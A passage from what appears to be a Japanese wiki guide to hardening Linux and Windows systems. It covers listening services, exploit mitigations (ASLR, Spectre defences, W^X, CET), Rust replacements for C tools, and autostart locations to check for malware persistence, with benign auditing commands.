| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
